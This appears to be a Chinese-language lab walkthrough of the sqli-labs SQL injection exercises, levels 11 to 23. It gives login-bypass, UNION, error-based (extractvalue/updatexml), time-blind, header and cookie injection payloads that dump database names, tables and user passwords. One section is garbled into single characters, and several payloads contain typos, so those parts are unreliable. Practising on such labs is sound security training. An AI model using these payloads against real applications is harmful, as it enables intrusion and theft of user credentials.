第十一关 基于错误的POST型单引号字符型注入
第十一关开始进入登录框这种模式,像登陆框这种模式也是可以当成sql语句注入的,你想想啊,它动态的页面,通过post传递值,然后再将post的值写到sql语句中,按照这个想法,那是不是万能注入也能使呢?
试一试。万能注入的语法为“ ‘or ‘1’ = ‘1 ”,双引号里面的。要注意,它的sql语句中用英文写的,所以这儿的万能注入的单引号也得用英文输入。
尝试使用万能注入使用单引号尝试有没有注入点
爆出第一个账号密码说明单引号为本关的post的注入点
Admin’ or ‘1’=‘1
使用and试试
’ and ‘1’=‘2
报错了说明uname存在注入点
测试字符长度
Admin’ order by 2 #
后面的密码随便输也可以不输,都注释掉了,输了有卵用,哈哈
通过测试总共为两列
“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)
爆当前的数据库
碰到了get注入的老朋友
union联合查询
1’ union select 1,(select database) #
爆所有的数据库
-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata) #
爆表名
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) #
爆列名
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) #
爆用户名和密码
-1’ union select 1,(select group_concat(username,0x5c,password) from users)#
第十二关
测试注入点
试到双引号有提示了,提示有双引号加单括号,尝试下
测试到注入点为
Admin") or ‘1’=‘1’ #
爆数据库
爆表名
爆列名
爆用户名密码
第十三关
输对了却啥也没有,说明有注入点也不会回显,这关不能使用联合查询union
寻找注入点
有提示说‘)
试下
没有回显说明是有注入点的
这次我使用extractvalue()函数玩玩
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
爆数据库版本
uname=-1’) and (extractvalue(1,concat(0x5c,version(),0x5c))) #
当前的数据库
uname=uname=-1’) and (extractvalue(1,concat(0x5c,database(),0x5c))) #
爆表名
uname=-1’) and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x5c))) #&passwd=&submit=提交
爆字段
uname=-1’) and (extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name=‘users’ limit 1,1),0x5c))) #&passwd=&submit=提交
爆用户名密码
第十四关
查看源代码
判断为双引号注入
使用admin" #
爆当前数据库
爆表名
爆列名
用户名字段
密码字段
爆用户名
第一个
爆密码
第一个
第十五关
第十五,十六关都是基于时间的盲注
一开始输入什么都没有用
尝试sleep休眠报错
查看源代码
明显看出来是单引号闭合注入
休眠五秒却认为单引号时间注入
爆当前数据库
第一个字母s
爆第一个表的第一个字母e
第四个表的第一个字母u
爆第一个列名的第一个字母I
第二个列名的第一个字母u
第三个列名第一个字母p
第一个用户名的第一个字母D
第一个密码的第一个字母D
第十六关
查看源代码为“)闭合符
休眠五秒
爆当前数据库的第一个字母s
爆第四个表名的第一个字母u
爆第二个列名的第一个字母u
爆第一个用户名的第一个字母D
爆第一个密码名的第一个字母D
第十七关
查看源代码
提问:在看源代码的时候,先进行一次 select 语句,那为什么我们不从 username 处进行构 造呢? 其实我们可以在源代码中看到一个函数。check_input()函数。
单引号闭合
从源码中可以看到:接收到用户POST的uname和passwd后,首先根据uname查询数据库的username和password,若uname存在则用passwd替换password,若不存在则显示slap1.jpg
在用户名正确后,页面便能够返回Mysql错误信息
所以我们决定用报错注入
使用updatexml(),它和extractvaule(),这两个函数原理一样,只是updatexml()多了一个参数,我习惯用extractvaule()
我们开始吧
我们在password表单注入,所以username我们用已知的admin登录,下面就不在重复!
爆当前数据库
uname=admin&passwd=1’ and extractvalue(1,concat(0x5c,(select database()),0x5c)) #&submit=Submit
爆表名
uname=admin&passwd=1’ and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x5c)) #&submit=提交
爆列名
uname=admin&passwd=1’ and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x5c)) #&submit=Submit
爆用户名密码
1’ and updatexml(1,concat(0x5c,(select concat( username,password) from (select username,password from security.use/rs)aa limit 0,1),0x5c),1) #
第十八关
账号密码正确的结果
源代码
对用户的输入 uname 和 passwd 都做了过滤
看到源码后,代码中对uname和passwd进行了check_input()函数的处理,所以在输入uname和passwd上进行注入是不行的,但是在代码中,
我们看到了
i
n
s
e
r
t
=
"
I
N
S
E
R
T
I
N
T
O
‘
s
e
c
u
r
i
t
y
‘
.
‘
u
a
g
e
n
t
s
‘
(
‘
u
a
g
e
n
t
‘
,
‘
i
p
a
d
d
r
e
s
s
‘
,
‘
u
s
e
r
n
a
m
e
‘
)
V
A
L
U
E
S
(
‘
insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (‘
insert="INSERTINTO‘security‘.‘uagents‘(‘uagent‘,‘ipaddress‘,‘username‘)VALUES(‘uagent‘, ‘$IP‘, $uname)";将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分,
只能用bp
爆当前的数据库
'or updatexml(1,concat(0x7e,(database())),1) or ‘1’='1
爆表
‘and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
爆列
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
爆用户名密码
'and extractvalue(1,concat(0x7e,(select group_concat(username,0x5c,password) from users),0x7e)) and ‘1’='1
第十九关
和十八关是一样的
正常情况
爆当前数据库
'or updatexml(1,concat(0x7e,(database())),1) or ‘1’='1
爆表
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
爆列
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
爆用户名密码
'and extractvalue(1,concat(0x7e,(select group_concat(username,0x5c,password) from users),0x7e)) and ‘1’='1
第二十关
查看源代码cookie包含uname,cookie从uname中获取数据
带引号闭合
输入正确登陆后后去一个cookie
查看列
查看当前的数据库
查看所有表
爆列
爆数据
第二十一关
查看源码,和前面一样,都是cookie是unmae
通过查看源代码直到闭合点为单引号和括号
输入正确登录获取cookie
打开cookie插件显示一个base64转码过的cookie
解码后为我们输入的uname的值
对要输入的语句编码
获取列数为3
爆当前的数据库
爆表
爆列
爆字段
第二十二关
查看源代码
base64编码加双引号闭合
全都输入正确获取cookie
不知道为啥下面显示22关的文件上面显示人家21关的图片
除了闭合方式不同,它毫无亮点
获取列数
获取当前库
获取所有表
获取所有列
获取数据
第二十三关
查看源代码
第一感觉就是:单引号?代码这么少?有点陷阱的感觉?
测试一下还真是单引号闭合
试试获取列
果真,一列都给我报错
网上浏览一波,发现没细看代码的失误
貌似是个PHP函数
但不知道是哪个过滤字符
拿#号试试第一关
正常页面
加个#号不行
试试主角我们的23关
直接输入#号还不行,还需要URL编码一下,我用这个编码又回去试了试第一关,返回错误,没有被过滤掉,而二十三关把#号过滤掉了
如何判断被过滤字符?:
GET中?id= (在这里键入测试字符串) 1 屏蔽了# --注释符号,只能闭合绕过
那我们这里就是用and来构造一个可以查与语句的区间吧: 因为前面测得具有回显,所以采取union联合查询
这边发现使用–+或者#注释都会报错,从报错信息看应该是把他们都过滤了,所 以这边使用or ‘1’='1闭合后面的单引号
?id=1’ and ‘1’=‘2
页面无显示说明有注入
我觉得很有毒
获取字段长度
?id=1’ order by 3 and ‘1’=‘2 //不管你输多少位的数他都是存在的
?id=-1’ order by 3 and ‘1’=‘1 //不管输入多少哪怕低到1他都啥也不显示
就像某些东西被过滤掉了
后来试着爆库爆表等,返回的都是这个见面,感觉太多的东西都被过滤掉了,根本没办法干下去
再次网上浏览一波,就恰巧发现了之前没注意的闭合方法
爆当前库
?id=’ union select 1,2,database() ’
这个闭合方法就很爽了
爆表
?id=’ union select 1,2,group_concat(table_name) from informaction_schema.tables where table_schema=‘security’ ’
爆字段
?id=’ union select 1,2,group_concat(column_name) from informaction_schema.columns where table_name=‘users’ ’
爆数据
?id=’ union select 1,2,(select group_concat(username,0x7e,password) from users) ’